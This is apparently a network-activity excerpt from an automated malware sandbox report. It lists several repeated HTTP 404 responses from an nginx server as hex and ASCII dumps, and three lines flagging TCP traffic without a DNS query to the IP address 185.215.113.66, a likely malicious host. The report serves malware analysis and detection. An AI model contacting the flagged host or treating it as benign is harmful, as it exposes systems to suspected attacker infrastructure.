Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Thu, 24 Aug 2023 17:04:16 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Thu, 24 Aug 2023 17:04:18 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Thu, 24 Aug 2023 17:04:20 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Thu, 24 Aug 2023 17:04:30 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Thu, 24 Aug 2023 17:04:32 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Thu, 24 Aug 2023 17:04:34 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Thu, 24 Aug 2023 17:04:41 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Thu, 24 Aug 2023 17:04:44 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Thu, 24 Aug 2023 17:04:48 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
